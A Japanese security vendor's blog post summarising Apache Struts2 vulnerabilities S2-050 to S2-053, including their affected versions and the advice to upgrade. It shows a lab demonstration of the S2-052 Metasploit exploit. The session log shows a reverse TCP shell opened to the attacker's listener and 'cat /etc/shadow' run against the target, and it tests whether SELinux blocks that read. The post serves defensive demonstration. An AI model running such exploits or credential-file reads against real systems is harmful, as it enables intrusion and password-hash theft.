Struts2の脆弱性とPoC(S2-052: CVE-2017-9805, S2-053: CVE-2017-12611) — | サイオスOSS | サイオステクノロジー

現在位置: ホーム / セキュリティブログ / Struts2の脆弱性とPoC(S2-052: CVE-2017-9805, S2-053: CVE-2017-12611)

Struts2の脆弱性とPoC(S2-052: CVE-2017-9805, S2-053: CVE-2017-12611)

09/05/2017にApache Struts2に複数の脆弱性(S2-050, S2-051, S2-052)が報告されたことは既に様々なメディアで報告されていますので、皆様ご存知だと思います。また、続報として09/07/2017にも脆弱性の続報(S2-053)と修正版が更新されました。これらの脆弱性の中でも、特にS2-052はCriticalで実際にPoCも出回っており、任意のコマンドが実行されるため非常に危険です。今回はこれらの脆弱性の概要と、各ディストリビューションの対応、PoC情報について簡単にまとめてみます。

こんにちは。SIOS OSSエバンジェリスト/セキュリティ担当の面和毅です。

09/05/2017にApache Struts2に複数の脆弱性(S2-050, S2-051, S2-052)が報告されたことは既に様々なメディアで報告されていますので、皆様ご存知だと思います。また、続報として09/07/2017にも脆弱性の続報(S2-053)と修正版が更新されました。

これらの脆弱性の中でも、特にS2-052はCriticalで実際にPoCも出回っており、任意のコマンドが実行されるため非常に危険です。

今回はこれらの脆弱性の概要と、各ディストリビューションの対応、PoC情報について簡単にまとめてみます。

Struts2まとめサイト

Apache Struts2 の脆弱性対策情報一覧 (IPA)

Priority

Critical

修正方法

Strutsを最新のものに更新して下さい。多くのディストリビューションはstrutsパッケージを用意していません。そのため、一般的な情報と照らし合わせて、導入したベンダー・担当などと適切に確認してください。

CVE概要(詳細はCVEのサイトをご確認ください)

S2-050 (CVE-2017-9804)

DoSの可能性
重要度 - Low
影響範囲 : Struts 2.3.7 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12
前回の修正（S2-047）が不完全でした。URLvalidatorを使用している時、正規表現に依るDoSが引き起こされる可能性が有ります。

S2-051 (CVE-2017-9793)

サーバでの任意のコード実行の可能性
重要度 - Medium
影響範囲 : Struts 2.3.7 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12
RESTプラグインがXstreamHandlerをタイプフィルタリングしていないデシリアライズされたXStreamのインスタンスとして使用しており、リモートから任意のコードが実行される可能性があります。

S2-052 (CVE-2017-9805)

サーバでの任意のコード実行の可能性
重要度 - Critical
影響範囲 : Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12
RESTプラグインが脆弱な古いXstreamライブラリを使用しており、特別に細工されたXMLペイロードで悪意のある要求を行うことで、DoS攻撃を仕掛けることが可能です。

S2-053 (CVE-2017-12611)

サーバでの任意のコード実行の可能性
重要度 - Moderate
影響範囲 : Struts 2.0.1 - Struts 2.3.33, Struts 2.5 - Struts 2.5.10
Freemarkerタグの使い方で良くない構造を開発者が作成した場合、リモートから任意のコードが実行される可能性があります。

PoC(S2-052)とSELinuxによる緩和の確認

以下は、基本的にこちらにあるPoCの記事の日本語訳になります。

環境の準備

S2-052に関しては、Metasploitを使用するPoC環境がHackers Gridで公開されていますので、Metasploitを動作させるOSとしてKali Linuxを用意し、手順に従って攻撃が可能なようにします。

今回攻撃対象にしたのは、以下のOSになります。

HW: VMWare Guest (1CPU, 2GB Memory)
OS: CentOS 7 (latest)
Struts: 2.5.11

SELinuxのアクセス制御が聞いてるかを確認したいので、「敢えて」/etc/shadowのパーミッションを"755"にします。
```
root@centos7:~# ls -lZ /etc/shadow
-rwxr-xr-x. root root system_u:object_r:shadow_t:s0        /etc/shadow
```

SELinuxによる緩和の確認

Permissiveの場合

まずはSELinuxをアクセス制御が効かないモード(Permissive)にし、リモートのMetasploit(Kali Linux上)から攻撃してみましょう。リモートからMetasploitを使って攻撃すると、下記のように攻撃が成功し、リモートからシェルを取得することが可能です。この際、"id"コマンドを実行すると、tomcatユーザ(tomcat_tドメイン)でシェルが動作していることがわかります。また、"cat /etc/shadow"コマンドを実行すると、/etc/shadowファイルの中身を見ることが出きることがわかります。

msf exploit(struts2_rest_xstream) > exploit

 [*] Started reverse TCP double handler on AA.AA.AA.AA:4444 
 [*] Accepted the first client connection...
 [*] Accepted the second client connection...
 [*] Command: echo DxP98C50UAVxX6jn;
 [*] Writing to socket A
 [*] Writing to socket B
 [*] Reading from sockets...
 [*] Reading from socket B
 [*] B: "DxP98C50UAVxX6jn\r\n"
 [*] Matching...
 [*] A is input...
 [*] Command shell session 2 opened (AA.AA.AA.AA:4444 -> XX.XX.XX.XX:43584) at 2017-09-11 15:42:12 +0900

 id
 uid=91(tomcat) gid=91(tomcat) groups=91(tomcat) context=system_u:system_r:tomcat_t:s0

 cat /etc/shadow

 root:XXXXXX.::0:99999:7:::
 bin:*:17110:0:99999:7:::
 daemon:*:17110:0:99999:7:::
 --snip--
 sshd:!!:17247::::::
 jssosug:XXXXXXXXXXXX::0:99999:7:::

 jsossug@vmhost:~$

Enforcingの場合

次にSELinuxによるアクセス制御が有効なモード(Enforcing)にし、リモートのMetasploit(Kali Linux上)から攻撃してみましょう。リモートからMetasploitを使って攻撃すると、下記のように攻撃が成功し、リモートからシェルを取得することが可能です。この際、Permissiveのサイト同様に"cat /etc/shadow"コマンドを実行すると、SELinuxのポリシーにより、「Permission Denied」のエラーが出てきて/etc/shadowの内容は見られなくなっていることがわかります。

msf exploit(struts2_rest_xstream) > exploit

 [*] Started reverse TCP double handler on AA.AA.AA.AA:4444 
 [*] Accepted the first client connection...
 [*] Accepted the second client connection...
 [*] Command: echo DxP98C50UAVxX6jn;
 [*] Writing to socket A
 [*] Writing to socket B
 [*] Reading from sockets...
 [*] Reading from socket B
 [*] B: "DxP98C50UAVxX6jn\r\n"
 [*] Matching...
 [*] A is input...
 [*] Command shell session 2 opened (AA.AA.AA.AA:4444 -> XX.XX.XX.XX:43584) at 2017-09-11 15:49:01 +0900

 id 
 uid=91(tomcat) gid=91(tomcat) groups=91(tomcat) context=system_u:system_r:tomcat_t:s0

 cat /etc/shadow
 cat: /etc/shadow: Permission denied